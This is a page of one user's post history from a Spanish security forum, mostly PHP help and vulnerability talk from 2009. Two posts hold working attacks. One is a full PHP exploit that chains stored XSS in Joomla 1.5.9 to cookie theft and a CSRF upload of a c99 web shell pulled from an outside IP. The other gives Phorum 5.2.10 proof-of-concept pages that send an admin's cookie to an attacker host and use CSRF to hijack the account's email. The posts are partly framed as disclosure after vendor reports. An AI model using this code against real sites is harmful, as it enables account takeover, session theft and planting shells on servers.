elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: 1 ... 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 [402] 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 ... 456
4011  Programación / PHP / Re: tomar buffer y lanzarlo al centro de una web en: 28 Marzo 2009, 05:35 am
Hola, gracias,
Citar
1º ¿Se puede dar el caso de que se incluya más de una vez modulo.php? Si no es así utiliza include().

La idea es que no ocurra pero lo hacía por precaución ya que no pensaba que include_once() utilizaba mas recursos que include() ya que en caso contrario solo usaría _once.

Citar
2º Las etiquetas <html></html> irian en index.php.
Claro, eso está declarado en la plantilla solo era un ejemplo.

Gracias otraves.
4012  Programación / PHP / tomar buffer y lanzarlo al centro de una web en: 27 Marzo 2009, 08:15 am
Hola, estaba haciendo un sistema modular donde se incluye el archivo php y quiero que todo lo que lanze ese archivo como un echo o un print_r que se guarde en una variable para despues poder lanzarlo en otra parte.
Ejemplo..

index.php
Código
  1. <?php
  2. // accion para que tome todo lo que viene en una variable $cuerpo
  3. include_once('modulo.php');
  4.  
  5. echo 'cabezera';
  6. echo $cuerpo;
  7. echo 'termino';
  8.  
  9. ?>

modulo.php
Código
  1. <html>
  2. <?php echo 'portada'; ?>
  3. </html>

Esto también me serviría para poder manipular el contenido en caso de ser necesario.

La pregunta del millón.. alguien recuerda como hacerlo??, se que algo tiene que ver ob_start y funciones relacionadas pero no las conozco bien y en php.net me enreda un poco  :P
4013  Seguridad Informática / Nivel Web / Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9 en: 26 Marzo 2009, 03:34 am
Me ha llegado un correo desde Joomlacode.org y al parecer si les ha dolido un poco el video porque acaban de reabrir el tema que les habia enviado en el tracker donde exponía todo esto, al parecer en ese entonces no le dieron para nada importancia ya que hasta lo habian cerrado pero ahora después del video lo acaban de reabrir sin acceso a la totalidad del público y lo clasificaron como alto impacto XD

Citar
Joomla 1.5.X item #15065, was opened at 2009-02-15 12:02:16

Priority: 3
Submitted By: zkizzik zkizzik (zkizzik)
> >Assigned to: Anthony Ferrara (ircmaxell)
Summary: Múltiples fallas - CSRF, XSS, Path disclosure
> >Joomla Version: 1.5.9
> >Impact: High
Status: Open
> >Source: http://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159-t244742.0.html

> >Severity: Moderate
> >Duration (Days):
Estimated Effort (Hours):
Percent Complete (0-100):


Initial Comment:
http://forum.joomla.org/viewtopic.php?f=300&t=371705
http://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159-t244742.0.html

En estos dos enlaces expuse las múltiples fallas que pude encontrar y no se cuantos mas pueda ver pero al parecer hay bastantes mas que siguen con el mismo criterio.
Escribir una por una en este lugar creo que sería mucho por eso puse los enlaces.

  • CSRF en el componente "Media"
  • XSS Reflejado en el componente "Administrator" sobre task=sysinfo
  • CSRF en el Componente "Installer"
  • XSS Permanente en el componetne "Search"
  • File Disclosure en el componente "Installer"

http://img443.imageshack.us/img443/9854/dibujo2zq7.png
http://img144.imageshack.us/img144/1456/dibujokw5.png

etc..

----------------------------------------------------------------------

You can respond by visiting:
http://joomlacode.org/gf/project/jsecurity/tracker/?action=TrackerItemEdit&tracker_id=7925&tracker_item_id=15065
Or by replying to this e-mail entering your response between the following markers:

#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
(enter your response here)
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+

----------------------------------------------------------------------

Follow-Ups:

-------------------------------------------------------
Date: 2009-03-25 12:25:18
By: Anthony Ferrara

Comment:
Patch Attached

El tracker está acá
http://joomlacode.org/gf/project/jsecurity/tracker/?action=TrackerItemEdit&tracker_id=7925&tracker_item_id=15065
tal como lo dice el correo pero al ingresar me deniega el acceso  :P
Citar
Página de Inicio » Permission Denied
Permission Denied

Por lo menos ahora si van a  pensar en repararlo.
4014  Seguridad Informática / Nivel Web / Re: Falla en el mod Seo4SMF para SMF en: 24 Marzo 2009, 03:36 am
Citar
Access denied for user 'exkanka'@'localhost'
Ese error es porque la conexión hacia la base de datos no ha sido realizada, revisa tu servidor o tus datos de conexión.
4015  Seguridad Informática / Nivel Web / Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9 en: 23 Marzo 2009, 03:36 am
Lo prometido es deuda..
Hize un video y un exploit pero que hace?, solamente haces que un usuario con derechos de administración visualiza este script para que se le suba automaticamente una shell c99 eso es todo y al finalizar el script te deja un log diciendote si falló o donde quedó finalemnte la shell.
Lo único que deben modificar es la ruta del paquete de joomla que contiene la shell (ya les mostraré como fabricarlo) y la ruta del sistema vulnerable.

Código
  1. <?php
  2.  
  3. $EXPL['SITIO_VULNERABLE'] = 'http://127.0.0.1/joomla/'; // Web vulnerable
  4. $EXPL['URL_COM_SHELL'] = 'http://201.223.24.232:81/mod_arkimest.zip'; // La shell
  5.  
  6. $EXPL['XSS'] = '<script '.
  7. 'src="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=js" ></script>';
  8.  
  9. if($_GET['act'] == 'js'){
  10. die('
  11. // Acá tu laaaargo script
  12.  
  13. var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  14. function base64_encode(input){
  15.  var output = "";
  16.  var chr1, chr2, chr3;
  17.  var enc1, enc2, enc3, enc4;
  18.  var i = 0;
  19.  do{
  20.   chr1 = input.charCodeAt(i++);
  21.   chr2 = input.charCodeAt(i++);
  22.   chr3 = input.charCodeAt(i++);
  23.   enc1 = chr1 >> 2;
  24.   enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  25.   enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  26.   enc4 = chr3 & 63;
  27.   if(isNaN(chr2)){
  28.    enc3 = enc4 = 64;
  29.   }else if(isNaN(chr3)){
  30.    enc4 = 64;
  31.   }
  32.   output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
  33.  }while(i < input.length);
  34.  return output;
  35. }
  36.  
  37. window.location.href="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=galletas&sabor=" + base64_encode(document.cookie);
  38. ');
  39.  
  40. }elseif($_GET['act'] == 'galletas'){
  41. if(!$cookies = base64_decode($_GET['sabor'])) die('<strong>No hay galletas ni chocolates :(</strong>');
  42. $buffer = http_get($EXPL['SITIO_VULNERABLE'].'/administrator/index.php?option=com_installer', $cookies);
  43. $buscar = explode('hidden" name="', $buffer);
  44. foreach($buscar as $encontrado){
  45.  $encontrado = explode('"', $encontrado);
  46.  $encontrado = $encontrado[0];
  47.  if(strlen($encontrado) == 32){
  48.   $hash = $encontrado;
  49.   break;
  50.  }
  51. }
  52. $buffer = http_post(
  53.  $EXPL['SITIO_VULNERABLE'].'/administrator/index.php', $cookies,
  54.  $hash.'=1&install_url='.urlencode($EXPL['URL_COM_SHELL']).'&installtype=url&task=doInstall&option=com_installer&'
  55. );
  56. if(eregi('200 OK', http_get($EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'))){
  57.  // Explotación ejecutada con éxito! la shell está en /modules/mod_artimesk/mod_artimesk.php
  58.  header('Explotado-por: WHK');
  59.  $explotado = true;
  60. }else{
  61.  // La explotación ha fallado.
  62.  $explotado = false;
  63. }
  64. if($archivo_handle = fopen('log_('.date('Y.m.d.H.i.s').')_.txt', 'x')){
  65.  if($explotado){
  66.   fwrite($archivo_handle, 'La shell ha sido obtenida exitosamente!. URL: '.$EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'."\x0D\x0A");
  67.   header('location: https://foro.elhacker.net/nivel_web/multiples_fallas_csrf_xss_directoindirecto_en_joomla_159-t244742.0.html');
  68.  }else{
  69.   fwrite($archivo_handle, 'El sitio '.$EXPL['SITIO_VULNERABLE'].' no pudo ser explotado debido a que la versión de joomla no es compatible o el administrador no tenía acceso a su rpopio sitio web.'."\x0D\x0A");
  70.   header('location: http://noscript.net/');
  71.  }
  72.  fclose($archivo_handle);
  73. }
  74. exit($explotado);
  75. }
  76.  
  77. // Ejecuta el código javascript arbitrario
  78. $pedir = $EXPL['SITIO_VULNERABLE'].'/index.php?searchword='.urlencode(urlencode($EXPL['XSS'])).'&ordering=&searchphrase=all&option=com_search';
  79. if(http_get($pedir, 'null[]=token')){
  80. header('location: '.$EXPL['SITIO_VULNERABLE'].'administrator/index.php?option=com_search');
  81. }else{
  82. die('hola :-s');
  83. }
  84.  
  85. function http_post($url, $cookies, $postdata){
  86. $timeout = 100;
  87. $ch = curl_init($url);
  88. curl_setopt($ch, CURLOPT_POST, true);
  89. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  90. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  91. curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
  92. curl_setopt($ch, CURLOPT_HEADER, true);
  93. curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
  94. curl_setopt($ch, CURLOPT_COOKIE, $cookies);
  95. $contenido = curl_exec($ch);
  96. $error = curl_error($ch);
  97. curl_close($ch);
  98. if($contenido)
  99.  return $contenido;
  100. else
  101.   return $error;
  102. }
  103.  
  104. function http_get($url, $cookies){
  105. $timeout = 100;
  106. $ch = curl_init($url);
  107. curl_setopt($ch, CURLOPT_POST, false);
  108. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  109. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  110. curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
  111. curl_setopt($ch, CURLOPT_HEADER, true);
  112. curl_setopt($ch, CURLOPT_COOKIE, $cookies);
  113. $contenido = curl_exec($ch);
  114. $error = curl_error($ch);
  115. curl_close($ch);
  116. if($contenido)
  117.  return $contenido;
  118. else
  119.   return $error;
  120. }
  121.  
  122. ?>

Como crear el Componente con la shell dentro?

mod_artimesk.xml
Código
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <install type="module" version="1.0.0">
  3. <name>WHK Arkimest</name>
  4. <author>WHK</author>
  5. <creationDate>March 2009</creationDate>
  6. <copyright>Copyright (C) WHK 2009. All rights reserved.</copyright>
  7. <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  8. <authorEmail>www.kernel32@gmail.com</authorEmail>
  9. <authorUrl>foro.elhacker.net</authorUrl>
  10. <version>1.0.0</version>
  11. <description>Artimesk</description>
  12. <files>
  13. <filename module="mod_artimesk">mod_artimesk.php</filename>
  14. </files>
  15. </install>
  16.  
Donde dice "mod_artimesk.php" es el archivo que lleva la shell.

mod_artimesk.php
Código
  1. <?php /* acá mi shell */ ?>
Puedes poner lo que quieras o puedes usar directamente una shell c99 renombrada a mod_artimesk.php tal como esta: http://www.geocities.com/zkizzik/c99.txt

Toma esos dos archivos y guardalo en zip y ya tienes tu módulo shell para joomla ^^

VIDEO


Ver video en tamaño completo:
http://lab.jccharry.com/joomla/xss2shell159/
4016  Programación / PHP / Sistema infalible para debugear tus scripts en: 22 Marzo 2009, 02:07 am
Bueno, no se si les ha pasado cuando crean un sistema o lo que sea y no les funciona.. comienzan a alterar el código como por ejemplo..

Código
  1. $texto = 'direccion@gmail.com';
  2. echo '1';
  3. if(eregi('@gmal',$texto)){
  4. echo '2';
  5. redireccionar();
  6. echo '3';
  7. }else{
  8. echo '4';
  9. guardar();
  10. echo '5';
  11. }

jajaja para saber hasta donde se produce la falla pero a veces poner numeros y cosas no resulta muy bién porque se te pierden  :-\ asi que yo de plano a veces pongo <h1>TEST</h1> pero me encontré que editando un módulo de joomla esto se me perdía  :o asi que dije "y donde está wally?" asi que me busqué en google a wally y lo pegué poniendo mas visible donde estaba la falla  ;D





jajaja infalible!
4017  Seguridad Informática / Nivel Web / Re: Múltiples fallas en Phorum 5.2.10 en: 12 Marzo 2009, 07:54 am
Si lo probé, para modificar directamente el password necesitas ingresar el password antiguo y así no podrás, lo que hay que hacer es atraves de un CSRF modificar el correo y decirle al sistema que olvidaste la contraseña para que le puedas asignar la que tu quieras.
No vi si algunas variables que viajan atraves de POST pueden ser declaradas desde GET, lo desconozco pero si fuera así entonces el riesgo sería mayor tal como lo es en el sistema Cpanel que toma todos los valores tanto via get como post compatibilizando un ataque via GET sin la necesidad de utilizar javascript para un redireccionamiento como se hace via post (o me equivoco?  :huh:, por lo menos yo lo desconozco).
4018  Seguridad Informática / Nivel Web / Múltiples fallas en Phorum 5.2.10 en: 12 Marzo 2009, 04:36 am
Sistema afectado: http://www.phorum.org/

Entré en el foro de un amigo (si se puede decir amigo todavía) y me dió curiosidad de saber que sistema estaba utilizando o realemnte lo habia construido el y su staff como me habian dicho así que me puse a revisar sus variables get y las puse en gogole una por una hasta que encontré que estaban utilizando un sistema de foros llamado Phorum, me dió mas curiosidad todavía y me puse a descargar el sistema.
Al darle un vistazo simple a un solo archivo me di cuenta de muchisimas faltas que podia causar desde un XSS hasta CSRF.

Como el foro era de un "amigo" se lo dije por msn y me mandó a la chingada XD y me dijo que porque no jodia en otro lado y reportaba la falla al autor y bueno, eso fue lo que hize. Ahora que el sistema ya ha sido parchado (en parte) lo publicaré en este lugar.

Les demostraré atraves de estas fallas como entrar como Administrador teniendo acceso total al servidor, postear como otros usuarios, modificar contraseñas de sesiones, etc.

1. XSS
Código
  1. } elseif(isset($_POST["panel"])){
  2.    $panel = $_POST["panel"];
Acá podemos ver en el archivo control.php que declara la variable $panel directamente desde $_POST["panel"] sin procesar ningún tipo de filtro ni nada permitiendo la inserción de carácteres especiales como "<", ">", comillas etc los cuales pueden transformarse en código HTML.
Para que esto funcione vemos que la variable es POST así que hacemos una petición POST inyectando esa variable de la siguiente manera:
Código
  1. <form method="post" action="http://web/path/control.php">
  2. <input type="text" name="panel" value="Tu XSS acá" />
  3. <input type="submit" value=" Submit "/>
  4. </form>

Enviamos un valor algo así como: "><h1>prueba
y podemos ver que el código html infectó la variable $panel pero en que parte se muestra ahora para que se ejecute?:
Código
  1. $PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
Offtopic (En este caso utilizar comillas simples para declarar el valor de esa variable era mas eficiente ya que evitabas escribir \ cada ves que quisiera ingresar una comilla doble y las llaves se hubieran reemplazado por comilla mas coma que pasado a eficiencia resulta mas liviano en ejecutarse y mas aún cuando esto se extiende en todo el sistema)

Podemos ver que $panel es imrpimido en la web y cuando enviamos la variable post podemos ver como se incrusta nuestro código en la web.

2. CSRF
Bueno, acá n vamos a profundizar o tendremos que exponer todas las funciones que utilizen POST y GET para actualizar datos ya que en ningún caso es utilizado ningún token ni una verificación de referencia ni nada así que podriamos decir que podemos hacer practicamente de todo arbitrariamente tanto como modificar los datos de su perfil como postear, cambiar contraseñas etc etc.

Pruebas
Creamos un archivo llamativo que requiera javascript para ejecutar nuestro XSS:

Index.html
Código
  1. <object width="425" height="344">
  2. <param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
  3. <param name="allowFullScreen" value="true">
  4. <param name="allowscriptaccess" value="always">
  5. <embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
  6. </embed>
  7. <!-- muchos espacios de retorno acá -->
  8. <br><br><br><br><br><br><br><br>
  9. <br><br><br><br><br><br><br><br>
  10. <br><br><br><br><br><br><br><br>
  11. <br><br>
  12. <iframe src="test.html" width="1" height="1" frameborder="0"></iframe>

test.html
Código
  1. <!--
  2. -=[WHK]=-
  3. Prueba de concepto para Phorum 5.2.10 y versiones anteriores.
  4. Prueba de concepto 1 de 18
  5. -->
  6. <form method="post" action="http://foro.forodemiamigo.net/control.php">
  7. <input type="hidden" value='">
  8. <script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
  9. <br x="' name="panel"/>
  10. <input type="submit" value=" Submit "/>
  11. </form>
  12. <script>document.getElementsByTagName("form")[0].submit();</script>

Con esto hacemos que nuestro amigo administrador o alguiehn que tenga los suficientes derechos pueda ver el video que aparece en el index.html y cuando lo haga nos enviará su cookie en forma de petición get como por ejemplo:
http://mi_ip/metopo.json?req=sdfhvfsdf4645465
Ahora para capturarlo pueden hacerlo en php y guardarlo en un texto, en mi caso simplemente lo capturé desde los logs de acceso.

Ahora tomamos esa cookie y la ponemos en nuestro explorador y listo!, ya somos Administradores  ;D.

Ahora en el caso de que no hubiera XSS y quisieras hacerlo via CSRF puedes enviarle una petición para modificar su correo y luego debolverte tu pass al mismo ^^
Código
  1. <form action="http://foro.forodemiamigo.net/control.php" method="post">
  2. <input type="hidden" name="forum_id" value="0" />
  3. <input type="hidden" name="panel" value="email" />
  4. <input type="hidden" name="email" value="mi_mail@gmail.com" />
  5. <input type="hidden" name="hide_email" value="1" />
  6. <input type="submit" value=" Submit " />
  7. </form>
  8. <script>document.getElementsByTagName("form")[0].submit();</script>
Ahora que ya modificamos su mail nos pedirá un código de confirmación para comprobar que el correo le pertenece y eso debe ser ingresado en su mismo panel de usuario así que lo recogemos y enviamos desde otro csrf:
Código
  1. <form method="post" action="http://foro.forodemiamogo.net/control.php">
  2. <input type="hidden" value="0" name="forum_id"/>
  3. <input type="hidden" value="email" name="panel"/>
  4. <input type="hidden" value="mi_mail@gmail.com" name="email"/>
  5. <input type="hidden" value="HASH RECIBIDO POR MAIL" name="email_verify_code"/>
  6. <input type="hidden" checked="checked" value="1" name="hide_email"/>
  7. <input type="submit" value=" Submit "/>
  8. </form>
  9. <script>document.getElementsByTagName("form")[0].submit();</script>

Otras cosas que puedes hacer de la misma forma es postear por tu amigo o modificar su firma, etc.

Ahora le pusieron un Token de seguridad para evitar un ataque CSRF pero si tubieras acceso a otro XSS podrías incluir instrucciones Ajax para tomar el valor de su token y enviar una petición via XMLHttp con el CSRF y realizar exatamente lo mismo nuevamente.

Recibí en el último correo del director del rpoyecto los links con los trakers para que puedan actualizar su sistema yq eu todavía no se pone el paquete con sus parches de forma publica:
http://trac.phorum.org/changeset/3930
http://trac.phorum.org/changeset/3936
http://trac.phorum.org/changeset/3787

También le comenté de la ausencia de mysql_close dejandolo vulnerable a un ataque de peticiones masivas de vajo nivel causando daños relevantes ya que se ahogaría solo con tantas conexiones.
4019  Seguridad Informática / Nivel Web / Re: Problemas Shell c99 y wamp. en: 9 Marzo 2009, 04:55 am
Cuando lo guardas con codificación de texto UTF-8 al texto se le agregan no recuerdo si dos o tres bites antes de todo lo demás y aparecen unos simbolos extraños arriba al comienzo, talves sea eso.. solamente hay que abrirlo y darle en guardar como en el tipo de codificación normal iso-....
4020  Foros Generales / Sugerencias y dudas sobre el Foro / Re: porque quitaron mi tema? en: 5 Marzo 2009, 06:47 am
Pero no era un spam, estaba ensenando la web de mi empresa creada con el framework de codeigniter.... no le veo nada de spam.

Bueno si entras y creas un tema diciendo "miren mi web http://......." y nada mas entonces es comprensible que pueda seer considerado spam y aque no le hacemos publicidad a nadie ni permitimos que otros se cuelguen pero en tu caso como fue de buenas intensiones yo creo que podrías profundizar un poco mas, por ejemplo decir... "mi web está basado en bla bla bla y tiene un código super genial acá y acá y pienso modificarle esto y esto otro.. que opinan?", creo que con algo así podría cambiar ya que el centro del tema no sería tu web sino como está hecha tu web.
Páginas: 1 ... 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 [402] 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 ... 456
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines